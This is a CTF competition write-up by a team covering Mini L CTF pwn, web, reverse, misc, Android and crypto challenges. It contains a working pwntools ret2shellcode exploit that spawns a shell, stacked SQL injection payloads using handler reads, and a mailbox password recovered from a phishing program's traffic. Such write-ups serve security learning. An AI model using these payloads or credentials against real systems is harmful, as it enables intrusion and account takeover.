Mini L CTF WriteUp By Int3rn3t_Expl0rer Team

wp

Mini L CTF WP by arttnba3

hello

证明了我真的是菜鸡的一道pwn题,搞了半天才明白XD

做题环境Manjaro-KDE

首先使用checksec指令查看保护,可以发现保护基本都是关的,只有Partial RELRO,那么基本上是可以为所欲为了wwww

1
2
3
4
5
6
7
8

![image.png](https://i.loli.net/2020/05/11/f4qnCg65NPxT2D9.png)

可以发现在```vul函数```存在明显的栈溢出

![image.png](https://i.loli.net/2020/05/11/67tk1FiacXVR8ou.png)

```main```函数中调用了```vul

image.png

那么程序漏洞很明显了:

  • 使用fgets读入最大为72个字节的字符串,但是只分配给了48字节的空间,存在栈溢出

又有一个可疑的bd函数,那么第一时间想到ret2text——构造payload跳转到bd

但是很明显,bd函数基本是是空的(悲)

image.png

然后我就在这里卡了半天,证明我真的菜XD

那么我们该如何利用这个bd呢?

可以看到在bd中存在操作jmp rsp,那么其实我们可以利用这个指令跳转回栈上,执行我们放在栈上的shellcode

也就是说这其实是一道ret2shellcode的题

ret2text执行过程:

  • rsp永远指向栈顶

  • 当我们用常规的ret2text构造48字节字符串+8字节rbp+8字节bd函数地址(覆盖掉原返回地址)的payload时,rsp指向的其实是bd函数地址的位置

  • ret指令进入bd后弹出bd地址,rsp指向栈内储存的rbp的值(预期内)

  • bd函数将rbppush入栈中,此时rsp再加8,指向被新压入的rbp(预期内)

  • bd函数执行rsp上的指令
    那么我们就可以在rsp预期内指向的地址上覆盖上我们的shellcode使其被执行

接下来就是ret2shellcode的:

ret2shellcode修正过程:

  • rsp最终指向的地址放上我们待执行的shellcode

  • 由于长度不够,我们可以把getshellshellcode放在读入的字符串的最开始的地方,再通过汇编指令进行跳转

  • rsp所指向的位置覆盖上shellcode,改变rsp的值使其指向getshellshellcode并再次进行跳转,完成getshell

那么payload就很容易构造出来了:

1
2
3
4
5
6
7

context.arch = 'amd64'
sc1 = asm(shellcraft.sh())
sc2 = asm('sub rsp,64')//48字节的字符串+8字节的rsp+8字节的rbp,跳回开头
sc3 = asm('jmp rsp')
elf = ELF('hello')
payload = sc1 + b'a'*(56-len(sc1)) + p64(elf.symbols['bd']) + sc2 + sc3

image.png

Mini L CTF Writeup by luoqi@n

Sign in

看源码就送flag

Web

id_wife

image-20200516102439823.png

这个还真挺好玩的,把认识的师傅id都输了一遍,直到我把自己的id输了进去(草

这里拿小sad举例:

image-20200516105810838.png

看见这个,我立刻想到了强网杯的随便注(其实找了半天),因为那道题用到了堆叠注入的知识点,所以我就试了一下

1
sad'); show databases;

image-20200516110446026.png

成了,再试一下查询表

1
sad'); show tables;

image-20200516110244132.png

这个看起来这么臭的表一定有问题(确信

这里我用到了handler,这条语句使我们能够一行一行的浏览一个表中的数据,所以:

1
sad');handler`1145141919810`open;handler`1145141919810`read first;

好的给了个假flag…再读取下一条

1
sad');handler`1145141919810`open;handler`1145141919810`read first;handler`1145141919810`read next;

直接给出flag(因为是动态flag所以不贴了

reverse

EPL-Fish

这道题还不如放到misc里去…一点逆向都没用到

下载文件发现这玩意是用来钓鱼的假qq登陆界面,于是随便输入账号密码试了一下

image-20200516111101915.png

草这钓鱼界面太真实了,用wireshark抓包试试看

image-20200516144727912.png

可以看到这个程序用smtp协议登录邮箱,将用户输入的账号和密码发送到dengluwo233@163.com这个邮箱。由于smtp协议登录时的账号和密码默认为base64编码加密,所以我们很容易得到邮箱密码:FGYYJTMAZVTUPSWH

但是邮箱的账号和密码在网页登录的时候显示密码错误,163邮箱的密码也默认必须由数字字母组成,这个密码明显不符合,但是后来RX大哥用客户端登录成功了,于是问了下出题人,这里贴一下:

image-20200516145508231.png

登录成功后,在收件箱发现一个压缩包:thing.zip,打开之后在其中的QQ.e文件里发现flag

image-20200516145719636.png

1
miniL{Epl_Oh_gre@T}

Misc

MiniGameHacking

这游戏好玩得很(虽然为了抢一血解法非常暴力

image-20200516152750684.png

在data.unity3d文件里人 肉 搜 索到的flag(因为flag的minil少了一个m,搜索minil是搜不到的

image-20200516153027924.png

1
minil{diosamasayikou}

后来听别人说游戏通关也有flag,一共15关,我打到14关就过不去了只能放弃(

EasyVmem

2G的vmem文件…我要死了草…

本着这么大的文件不可能拖到kali里用Volatility挨个找的想法,我跟ga1@xy嫖了一个windows用的取证工具:Magnet AXIOM,加载了半个多小时之后终于成了

image-20200516153735514.png

然后在剪贴板里看到了一个假flag和奇怪的东西

image-20200516154011641.png

假flag里(base64)的大致内容是grep cha113nge to start the game,至于下面那一堆s3cR3t(太多了就不放这了)后面的数字一直在变,从10 10一直到289 289,猜测是289x289像素的图片,于是让RX大哥画了个图:

image-20200516154328639.png

扫一下就可以获得flag(出题人说他是在volatility环境下设置的题,所以我这算是抄近路了

1
miniLCTF{mAst3R_0F_v0Lat1l1tY!}

MITM_0

image-20200516155619666.png

这是一个中间人攻击的流量包

image-20200516155537795.png

这里把192.168.1.152这个ip base64一下交上去就可以了

MITM_1

image-20200516155849753.png

去查一下common name:

image-20200516160029095.png

一看这个东西就是跟证书有关的,于是在流量包里搜索certificate

image-20200516160603633.png

issuer,commonname,那这个Liuyukun CA应该就是要找的东西了,base64一下就能得到flag

总结

比赛这么多天,看着RX大哥穿了一道又一道,我就只能划水….混了个第三还是挺开心的

status

Mini L CTF WP by Reverier

逆向

easy-re

本题就是一个很常规的逆向, 不过F5之后不太好康而已.

F5出来的源码:

>folded
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int __cdecl main(int argc, const char **argv, const char **envp)
{
__m128i v3; // xmm1
__m128i v4; // xmm0
__m128i v5; // xmm1
__m128i v6; // xmm0
__int64 v7; // rdx
signed __int64 v8; // rax
__int128 v10; // [rsp+20h] [rbp-1B8h]
__int128 v11; // [rsp+30h] [rbp-1A8h]
__int128 v12; // [rsp+40h] [rbp-198h]
__int128 v13; // [rsp+50h] [rbp-188h]
__int128 v14; // [rsp+60h] [rbp-178h]
__int128 v15; // [rsp+70h] [rbp-168h]
char Str[16]; // [rsp+80h] [rbp-158h]
char v17[16]; // [rsp+90h] [rbp-148h]
__int16 v18; // [rsp+A0h] [rbp-138h]
char v19; // [rsp+A2h] [rbp-136h]
__int128 v20; // [rsp+A3h] [rbp-135h]
__int64 v21; // [rsp+B3h] [rbp-125h]
int v22; // [rsp+BBh] [rbp-11Dh]
char v23; // [rsp+BFh] [rbp-119h]
char v24[256]; // [rsp+C0h] [rbp-118h]

v3 = _mm_load_si128((const __m128i *)&unk_140003440);
_mm_store_si128((__m128i *)&v10, _mm_load_si128((const __m128i *)&xmmword_140003400));
_mm_store_si128((__m128i *)&v12, _mm_load_si128((const __m128i *)&xmmword_1400033E0));
v4 = _mm_load_si128((const __m128i *)&dword_140003410);
_mm_store_si128((__m128i *)&v11, v3);
v5 = _mm_load_si128((const __m128i *)&xmmword_1400033F0);
_mm_store_si128((__m128i *)&v14, v4);
v6 = _mm_load_si128((const __m128i *)&unk_140003430);
_mm_store_si128((__m128i *)&v13, v5);
_mm_store_si128((__m128i *)Str, v6);
v15 = 0i64;
v18 = 26727;
v20 = 0i64;
v19 = 116;
_mm_store_si128((__m128i *)v17, _mm_load_si128((const __m128i *)&unk_140003420));
v21 = 0i64;
v22 = 0;
v23 = 0;
puts(Str);
cin_read(std::cin, v7, v24);
v8 = 0i64;
do
{
if ( v24[v8] != *((_DWORD *)&v10 + v8) + 100 )
{
puts(&v17[8]);
exit(1);
}
++v8;
}
while ( v8 < 20 );
return puts(&v17[14]);
}

程序将输入和v10处的数据+100后进行比对.

相关数据:

>folded
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
xmmword_1400033E0 xmmword 10000000E000000150000000Fh
.rdata:00000001400033E0 ; DATA XREF: main+39↑r
.rdata:00000001400033F0 xmmword_1400033F0 xmmword 1FFFFFFFB0000000FFFFFFFC3h
.rdata:00000001400033F0 ; DATA XREF: main+55↑r
.rdata:0000000140003400 xmmword_140003400 xmmword 50000000A0000000500000009h
.rdata:0000000140003400 ; DATA XREF: main+19↑r
.rdata:0000000140003410 dword_140003410 dd 0FFFFFFFDh ; DATA XREF: main+47↑r
.rdata:0000000140003414 db 0Fh
.rdata:0000000140003415 db 0
.rdata:0000000140003416 db 0
.rdata:0000000140003417 db 0
.rdata:0000000140003418 db 15h
.rdata:0000000140003419 db 0
.rdata:000000014000341A db 0
.rdata:000000014000341B db 0
.rdata:000000014000341C db 19h
.rdata:000000014000341D db 0
.rdata:000000014000341E db 0
.rdata:000000014000341F db 0
.rdata:0000000140003420 unk_140003420 db 72h ; r ; DATA XREF: main+8F↑r
.rdata:0000000140003421 db 20h
.rdata:0000000140003422 db 66h ; f
.rdata:0000000140003423 db 6Ch ; l
.rdata:0000000140003424 db 61h ; a
.rdata:0000000140003425 db 67h ; g
.rdata:0000000140003426 db 3Ah ; :
.rdata:0000000140003427 db 0
.rdata:0000000140003428 db 77h ; w
.rdata:0000000140003429 db 72h ; r
.rdata:000000014000342A db 6Fh ; o
.rdata:000000014000342B db 6Eh ; n
.rdata:000000014000342C db 67h ; g
.rdata:000000014000342D db 0
.rdata:000000014000342E db 52h ; R
.rdata:000000014000342F db 69h ; i
.rdata:0000000140003430 unk_140003430 db 50h ; P ; DATA XREF: main+63↑r
.rdata:0000000140003431 db 6Ch ; l
.rdata:0000000140003432 db 65h ; e
.rdata:0000000140003433 db 61h ; a
.rdata:0000000140003434 db 73h ; s
.rdata:0000000140003435 db 65h ; e
.rdata:0000000140003436 db 20h
.rdata:0000000140003437 db 69h ; i
.rdata:0000000140003438 db 6Eh ; n
.rdata:0000000140003439 db 70h ; p
.rdata:000000014000343A db 75h ; u
.rdata:000000014000343B db 74h ; t
.rdata:000000014000343C db 20h
.rdata:000000014000343D db 79h ; y
.rdata:000000014000343E db 6Fh ; o
.rdata:000000014000343F db 75h ; u
.rdata:0000000140003440 unk_140003440 db 8 ; DATA XREF: main+29↑r
.rdata:0000000140003441 db 0
.rdata:0000000140003442 db 0
.rdata:0000000140003443 db 0
.rdata:0000000140003444 db 17h
.rdata:0000000140003445 db 0
.rdata:0000000140003446 db 0
.rdata:0000000140003447 db 0
.rdata:0000000140003448 db 1
.rdata:0000000140003449 db 0
.rdata:000000014000344A db 0
.rdata:000000014000344B db 0
.rdata:000000014000344C db 0FDh
.rdata:000000014000344D db 0FFh
.rdata:000000014000344E db 0FFh
.rdata:000000014000344F db 0FFh

简单的把数据都复制出来, 输出一下:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
char test[] = {9, 5, 0xA, 5, 0xFD, 0xF, 0x15, 0x19, 0xf, 0x15, 0xe, 0x1, 0xc3,0xf,0xfb, 0x1};

int main() {
for (int i = 0; i < 16; i++) {
printf("%c", test[i] + 0x64);
}
}
// minil{easyre's_easy}

这个程序的输出顺序有些乱, 自己拼接一下就好了.

machine

我对着题目给出的四串乱七八糟的东西发了两天的呆 最后没办法了去问Frank才发现这道题竟然是要F12康脚本…

F12之后拿到脚本, 尝试JS反混淆等皆不成功, 直接分析怎么看也不可能, 于是动态调试, 把题目的脚本中return语句全打上断点, 一步一步调试就能看见flag了.

solved.png

What’s Virtialization

这道题表面上看着是虚拟化, 实际上没发现和虚拟化有什么关系emmmm…

F5之后分析的main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int v5; // eax
int global_iter; // [esp+D0h] [ebp-2Ch]
signed int i; // [esp+DCh] [ebp-20h]
signed int j; // [esp+DCh] [ebp-20h]
signed int k; // [esp+DCh] [ebp-20h]
signed int v11; // [esp+E8h] [ebp-14h]
int input_length; // [esp+F4h] [ebp-8h]

printf("Welcome to MiniLCTF!\n");
printf("Plz input your flag:");
scanf_s("%s", input, 100);
input_length = strlen(input);
v11 = 100; // fibnacci[9]: [1, 1, 2, 3, 5, 8, 13, 21 ,34]
if ( fibnacci[0] * fibnacci[0] + input_length * input_length >= fibnacci[0] * input_length * fibnacci[2]
&& or(input_length, fibnacci[1]) == fibnacci[8] - fibnacci[0] )// if input_length == 32 or input_length == 33
{
global_iter = 0;
for ( i = 0; i < 6; ++i )
{
first_proc[i] = xor(input[i], const_array1[global_iter]);
global_iter = (fibnacci[0] + global_iter) % (fibnacci[4] + fibnacci[1]);// just iter++
// when iter > 5, iter = 0
if ( and(first_proc[i], const_array2[i]) != first_proc[i] )
{
v3 = xor(fibnacci[3] / 3, fibnacci[0]); // v3 = 0
v11 = and(v11, v3); // v11 = 0
}
} // just reconize is minil{ or not
if ( or(v11, fibnacci[8]) != fibnacci[6] + fibnacci[7] )// False when v11 in [0, 2, 32, 34]
{
for ( j = 0; j < 13; ++j )
{
byte_4060F6[j] = xor(zero_array[j], const_array1[global_iter]);
global_iter = (fibnacci[1] + global_iter) % (fibnacci[3] * fibnacci[2]);
if ( and(byte_4060F6[j], const_array3[j]) != byte_4060F6[j] )
{
v4 = xor(fibnacci[5] / 2 - 3, fibnacci[1]);
v11 = and(v11, v4);
}
}
if ( or(v11, fibnacci[7]) != fibnacci[5] + fibnacci[6] )
{
for ( k = 0; k < 13; ++k )
{
byte_406103[k] = xor(byte_40609B[k], const_array1[global_iter]);
global_iter = (global_iter + fibnacci[2] / 2) % (fibnacci[5] - fibnacci[2]);
if ( and(byte_406103[k], const_array4[k]) != byte_406103[k] )
{
v5 = xor(fibnacci[7] / 7, fibnacci[3]);
v11 = and(v11, v5);
}
}
if ( and_utils(v11) != v11 - fibnacci[0] )
{
printf("\nCongratulations! Your flag is right!");
getchar();
}
}
}
}
getchar();
return 0;
}

其中xor, orand涉及到一点模电的知识, 很好识别.

常量数组带入后再次简化的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <stdio.h>
#include <string.h>
int or_utils(int a, int b) { return ~a & ~b; }

int and (int a, int b) {
int v1, v2;
v1 = or_utils(a, a);
v2 = or_utils(b, b);
return or_utils(v1, v2);
}

int or (int a, int b) {
int v1, v2;
v1 = or_utils(a, b);
v2 = or_utils(a, b);
return or_utils(v1, v2);
}

int and_utils(int a1) { return or_utils(a1, a1); }

int xor(int a, int b) {
int v2; // ST08_4
int v3; // eax
v2 = or_utils(a, b);
v3 = and(a, b);
return or_utils(v3, v2);
}

int fibnacci[9] = {1, 1, 2, 3, 5, 8, 13, 21, 34};

int main() {
int v3;
int v4;
int v5;
int global_iter;
signed int i;
signed int j;
signed int k;
signed int is_ok;
int input_length;
char input[105];
char first_proc[7] = {};
char arr_020408[7] = "020408";
char const_array2[7] = "}[^]}{";
char const_array3[14] = "dtKcXxDmYgoNY";
char const_array4[14] = "@D]pTYHp@Yw^O";
char second_proc[14] = {};
char third_proc[86] = {};

printf("Welcome to MiniLCTF!\n");
printf("Plz input your flag:");
scanf("%s", input);
input_length = strlen(input);
is_ok = 100; // fibnacci[9]: [1, 1, 2, 3, 5, 8, 13, 21 ,34]
global_iter = 0;
if (input_length == 32 || input_length == 33) {
for (i = 0; i < 6; ++i) {
first_proc[i] = input[i] ^ arr_020408[global_iter];
global_iter++; // just iter++
if (global_iter > 5) global_iter = 0;
// when iter > 5, iter = 0
if (and(first_proc[i], const_array2[i]) != first_proc[i]) {
v3 = 0; // v3 = 0
is_ok = 0; // is_ok = 0
}
}
if (is_ok)
{ //global_iter = 0 now.
for (j = 0; j < 13; ++j) {
second_proc[j] = arr_020408[global_iter];
global_iter = (1 + global_iter) % 5;
//global_iter is in [0, 1, 2, 3, 4, 5]
if (and(second_proc[j], const_array3[j]) != second_proc[j]) {
v4 = 0;
is_ok = 0;
}
}
if (is_ok) {
for (k = 0; k < 13; ++k) {
third_proc[k] = arr_020408[global_iter];
global_iter = (global_iter + 1) % 5;
if (and(third_proc[k], const_array4[k]) != third_proc[k]) {
v5 = 0;
is_ok = 0;
}
}
if (is_ok) {
printf("\nCongratulations! Your flag is right!");
getchar();
}
}
}
}
getchar();
return 0;
}

这个程序和题目的作用相同.

稍微改一下, 编写解题程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <string.h>

int main() {
int v3;
int v4;
int v5;
int global_iter;
signed int i;
signed int j;
signed int k;
signed int is_ok;
int input_length;
char input[105] = {};
char first_proc[7] = {};
char arr_020408[7] = "020408";
char const_array2[7] = "}[^]}{";
char const_array3[14] = "dtKcXxDmYgoNY";
char const_array4[14] = "@D]pTYHp@Yw^O";
char second_proc[14] = {};
char zero_array[14] = {};
char zero_array1[86] = {};
char third_proc[86] = {};
input_length = strlen(input);
is_ok = 100;
global_iter = 0;
for (i = 0; i < 6; ++i) {
input[i] = const_array2[i] ^ arr_020408[global_iter];
global_iter++;
if (global_iter > 5) global_iter = 0;
}
for (j = 0; j < 13; ++j) {
second_proc[j] = const_array3[j] ^ arr_020408[global_iter];
global_iter = (1 + global_iter) % 6;
input[j+6] = second_proc[j];
}
for (k = 0; k < 13; ++k) {
third_proc[k] = const_array4[k] ^ arr_020408[global_iter];
global_iter = (global_iter + 1) % 6;
input[k + 19] = third_proc[k];
}
printf("flag is: %s", input);
getchar();
return 0;
}
//flag is: MiniMCTF{Wh@t_iS_virti@liz@tiOn}

复制下来改改就好了.

最后的输出中MiniL变成了MiniM, 手动改过来就是正确flag了.

安卓

TestOnly

dex2jar导出为jar之后拖入到jd-gui, 发现就是个简单的算法题. 不过查了好久也没查到Java中的SHA代指SHA几, 最后索性直接复制下来跑出答案.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;

public class test {
public static int a(char paramChar) {
int i;
if (paramChar < '€') {
i = paramChar;
} else {
i = a(Character.toString(paramChar));
}
return i;
}

public static int a(String paramString) {
int i = paramString.length();
int j = 0;
if (i > 0)
j = paramString.getBytes(StandardCharsets.UTF_8)[0] & 0xFF;
return j;
}

public static String b(String paramString) {
try {
MessageDigest messageDigest = MessageDigest.getInstance("SHA");
byte[] arrayOfByte = messageDigest.digest(paramString.getBytes("UTF-8"));
StringBuffer stringBuffer = new StringBuffer();
for (byte b = 0; b < arrayOfByte.length; b++) {
int i = arrayOfByte[b] & 0xFF;
if (i < 16)
stringBuffer.append("0");
stringBuffer.append(Integer.toHexString(i));
}
return stringBuffer.toString();
} catch (Exception exception) {
System.out.println(exception.toString());
exception.printStackTrace();
return "";
}
}

public static String J() {
String str = "";
try {
String str1 = b(
"B08020D0FACFDAF81DB46890E4040EDBB8613DA5ABF038F8B86BD44525D2E27B26E22ACD06388112D8467FD688C79CC7EA83F27440577350E8168C2560368616");
str = str1;
} catch (Exception exception) {
exception.printStackTrace();
}
char[] arrayOfChar = new char[30];
arrayOfChar[0] = 'U';
arrayOfChar[1] = '_';
arrayOfChar[2] = '\005';
arrayOfChar[3] = 'S';
arrayOfChar[4] = 'K';
arrayOfChar[5] = '`';
arrayOfChar[6] = '^';
arrayOfChar[7] = Character.MIN_VALUE;
arrayOfChar[8] = '\021';
arrayOfChar[9] = '=';
arrayOfChar[10] = 'f';
arrayOfChar[11] = 'W';
arrayOfChar[12] = 'P';
arrayOfChar[13] = '{';
arrayOfChar[14] = '\004';
arrayOfChar[15] = 'i';
arrayOfChar[16] = 'U';
arrayOfChar[17] = 'S';
arrayOfChar[18] = 'e';
arrayOfChar[19] = 'm';
arrayOfChar[20] = '7';
arrayOfChar[21] = 'U';
arrayOfChar[22] = '\027';
arrayOfChar[23] = '0';
arrayOfChar[24] = 'j';
arrayOfChar[25] = '\001';
arrayOfChar[26] = '(';
arrayOfChar[27] = '\007';
arrayOfChar[28] = 'a';
arrayOfChar[29] = '\037';
for (byte b = 0; b < arrayOfChar.length; b++)
arrayOfChar[b] = (char) (char) (arrayOfChar[b] ^ a(str.charAt(b)));
return String.copyValueOf(arrayOfChar).replace("flag", "minil");
}

public static void main(String[] args) {
System.out.println(J());
}
}

Misc

EasyVmem

这道题是由我和luoqi@n共同完成的.

首先要从Vmem中提取出剪贴板数据, 导出了一个巨大的txt:

>folded
1
2
3
s3cR3t:10 10 s3cR3t:10 11 s3cR3t:10 12 s3cR3t:10 13 s3cR3t:10 14 s3cR3t:10 15 s3cR3t:10 16 s3cR3t:10 17 s3cR3t:10 18 s3cR3t:10 19 s3cR3t:10 20 s3cR3t:10 22 s3cR3t:10 23 s3cR3t:10 24 s3cR3t:10 25 s3cR3t:10 26 s3cR3t:10 27 s3cR3t:10 28 s3cR3t:10 29 s3cR3t:10 30 s3cR3t:10 31 s3cR3t:10 33 s3cR3t:10 34 s3cR3t:10 35 s3cR3t:10 36 s3cR3t:10 37 s3cR3t:10 38 s3cR3t:10 39 s3cR3t:10 40 s3cR3t:10 41 s3cR3t:10 42 s3cR3t:10 44 s3cR3t:10 45 s3cR3t:10 46 s3cR3t:10 47 s3cR3t:10 48 s3cR3t:10 49 s3cR3t:10 50 s3cR3t:10 51 s3cR3t:10 52 s3cR3t:10 53 s3cR3t:10 55 s3cR3t:10 56 s3cR3t:10 57 s3cR3t:10 58 s3cR3t:10 59 s3cR3t:10 60 s3cR3t:10 61 s3cR3t:10 62 s3cR3t:10 63 s3cR3t:10 64 s3cR3t:10 65 s3cR3t:10 66 s3cR3t:10 67 s3cR3t:10 68 s3cR3t:10 69 s3cR3t:10 70 s3cR3t:10 71 s3cR3t:10 72 s3cR3t:10 73 s3cR3t:10 74 s3cR3t:10 75 s3cR3t:10 76 s3cR3t:10 78 s3cR3t:10 79 s3cR3t:10 80 s3cR3t:10 81 s3cR3t:10 82 s3cR3t:10 83 s3cR3t:10 84 s3cR3t:10 85 s3cR3t:10 86 s3cR3t:10 87 s3cR3t:10 100 s3cR3t:10 101 s3cR3t:10 102 s3cR3t:10 103 s3cR3t:10 104 s3cR3t:10 105 s3cR3t:10 106 s3cR3t:10 107 s3cR3t:10 108 s3cR3t:10 109 s3cR3t:10 111 s3cR3t:10 112 s3cR3t:10 113 s3cR3t:10 114 s3cR3t:10 115 s3cR3t:10 116 s3cR3t:10 117 s3cR3t:10 118 s3cR3t:10 119 s3cR3t:10 120 s3cR3t:10 121 s3cR3t:10 134 s3cR3t:10 135 s3cR3t:10 136 s3cR3t:10 137 s3cR3t:10 138 s3cR3t:10 139 s3cR3t:10 140 s3cR3t:10 141 s3cR3t:10 142 s3cR3t:10 143 s3cR3t:10 145 s3cR3t:10 146 s3cR3t:10 147 s3cR3t:10 148 s3cR3t:10 149 s3cR3t:10 150 s3cR3t:10 151 s3cR3t:10 152 s3cR3t:10 153 s3cR3t:10 154 s3cR3t:10 156 s3cR3t:10 157 s3cR3t:10 158 s3cR3t:10 159 s3cR3t:10 160 s3cR3t:10 161 s3cR3t:10 162 s3cR3t:10 163 s3cR3t:10 164 s3cR3t:10 165 s3cR3t:10 190 s3cR3t:10 191 s3cR3t:10 192 s3cR3t:10 193 s3cR3t:10 194 s3cR3t:10 195 s3cR3t:10 196 s3cR3t:10 197 s3cR3t:10 198 s3cR3t:10 199 s3cR3t:10 212 s3cR3t:10 213 s3cR3t:10 214 s3cR3t:10 215 s3cR3t:10 216 s3cR3t:10 217 s3cR3t:10 218 s3cR3t:10 219 s3cR3t:10 220 s3cR3t:10 221 s3cR3t:10 223 s3cR3t:10 224 s3cR3t:10 225 s3cR3t:10 226 s3cR3t:10 227 s3cR3t:10 228 s3cR3t:10 229 s3cR3t:10 230 s3cR3t:10 231 s3cR3t:10 232 s3cR3t:10 233 s3cR3t:10 234 s3cR3t:10 235 s3cR3t:10 236 s3cR3t:10 237 s3cR3t:10 238 s3cR3t:10 239 s3cR3t:10 240 s3cR3t:10 241 s3cR3t:10 242 s3cR3t:10 243 s3cR3t:10 244 s3cR3t:10 246 s3cR3t:10 247 s3cR3t:10 248 s3cR3t:10 249 s3cR3t:10 250 s3cR3t:10 251 s3cR3t:10 252 s3cR3t:10 253 s3cR3t:10 254 s3cR3t:10 255 s3cR3t:10 257 s3cR3t:10 258 s3cR3t:10 259 s3cR3t:10 260 s3cR3t:10 261 s3cR3t:10 262 s3cR3t:10 263 s3cR3t:10 264 s3cR3t:10 265 s3cR3t:10 266 s3cR3t:10 268 s3cR3t:10 269 s3cR3t:10 270 s3cR3t:10 271 s3cR3t:10 272 s3cR3t:10 273 s3cR3t:10 274 s3cR3t:10 275 s3cR3t:10 276 s3cR3t:10 277 s3cR3t:10 279 s3cR3t:10 280 s3cR3t:10 281 s3cR3t:10 282 s3cR3t:10 283 s3cR3t:10 284 s3cR3t:10 285 s3cR3t:10 286 s3cR3t:10 287 s3cR3t:10 288 s3cR3t:10 289 s3cR3t:11 10

and more...

数据量太大就不全部贴出来了.

然后写一下绘图脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from PyQt5 import QtGui, QtWidgets, QtCore
from PyQt5.QtGui import *
from PyQt5.QtCore import *
from PyQt5.QtWidgets import *

import sys

class DrawWidget(QtWidgets.QWidget):
def __init__(self, parent=None):
super().__init__(parent=parent)
self.setStyleSheet('background-color: #ffffff;')

def drawPoints(self, qp):
qp.setPen(QPen(Qt.black, 2))
with open('./inp.txt', 'r') as inp:
data = inp.read().split('s3cR3t:')
print(data)
for i in data:
try:
x = int(i.split(' ')[0])
y = int(i.split(' ')[1])
qp.drawPoint(x, y)
except:
pass

def paintEvent(self, QPaintEvent):
qp = QPainter()
qp.begin(self)
self.drawPoints(qp)
qp.end()

if __name__ == "__main__":
app = QtWidgets.QApplication(sys.argv)
window = DrawWidget()
window.show()
window.resize(300, 300)
app.exec_()

扫码, 解决.

minecraft-2

登陆服务器的时候开着wireshark, 抓包抓到flag2的子服务器地址, 然后改名Ruby, 直连flag2服务器获取flag.

Crypto

ιIl

从网上找到一个轮子, 稍加修改使用sage跑一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# sage

h = 31497596336552470100084187834926304075869321337353584228754801815485197854209104578876574798202880445492465226847681886628987815101276129299179423009194336979092146458547058477361338454307308727787100367492619524471399054846173175096003547542362283035506046981301967777510149938655352986115892410982908002343
p = 126982824744410328945797087760338772632266265605499464155168564006938381164343998332297867219509875837758518332737386292044402913405044815273140449332476472286262639891581209911570020757347401235079120185293696746139599783586620242086604902725583996821566303642800016358224555557587702599076109172899781757727
c = 81425203325802096867547935279460713507554656326547202848965764201702208123530941439525435560101593619326780304160780819803407105746324025686271927329740552019112604285594877520543558401049557343346169993751022158349472011774064975266164948244263318723437203684336095564838792724505516573209588002889586264735

v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([[1, h], [0, p]])
shortest_vector = m.LLL()[0]
f, g = shortest_vector
print(f, g)
f = abs(f)
g = abs(g)

a = f*c % p % g
m = a * inverse_mod(f, g) % g
print(m)

Screenshot_20200516_151456

最终flag: minil{l1Ii5n0tea5y}

f**k&base

这道题就是上面那道的变种. 用brainfuck解密一下source.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
q=getPrime(1024)
f=getPrime(511)
g=getPrime(511)
while g<pow(q/4,0.5) and g>pow(q/2,0.5):
g=getPrime(511)
f_inv_q=inverse(f,q)
h=f_inv_q*g%q
m=bytes_to_long(b'flag')#flag is base**(flag)
r=getPrime(510)
e=(r*h+m)%q
print f
print g
print q
print e

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
# sage

p = 172620634756442326936446284386446310176482010539257694929884002472846127607264743380697653537447369089693337723649017402105400257863085638725058903969478143249108126132543502414741890867122949021941524916405444824353100158506448429871964258931750339247018885114052623963451658829116065142400435131369957050799
c = 130055004464808383851466991915980644718382040848563991873041960765504627910537316320531719771695727709826775790697704799143461018934672453482988811575574961674813001940313918329737944758875566038617074550624823884742484696611063406222986507537981571075140436761436815079809518206635499600341038593553079293254

f = 4685394431238242086047454699939574117865082734421802876855769683954689809016908045500281898911462887906190042764753834184270447603004244910544167081517863
g = 5326402554595682620065287001809742915798424911036766723537742672943459577709829465021452623299712724999868094408519004699993233519540500859134358256211397

a = f*c % p % g
m = a * inverse_mod(f, g) % g
print(m)
# m = 629250774757584627131327668302148468

Screenshot_20200516_152308

做题情况

zuotiqingkuang

感谢luoqi@n大哥和arttnba3大哥带我飞~

虽然只拿了第三, 没有pwn手也没有Web手的情况下也挺不错了hhh~

作为一个Re手自我感觉良好, 虽然安卓题就写了一道emmm

Re解题情况应该是参赛组中最好的.

总结

还是要继续学Re啊~ 同时作为一个二进制组员, pwn多多少少也要会…

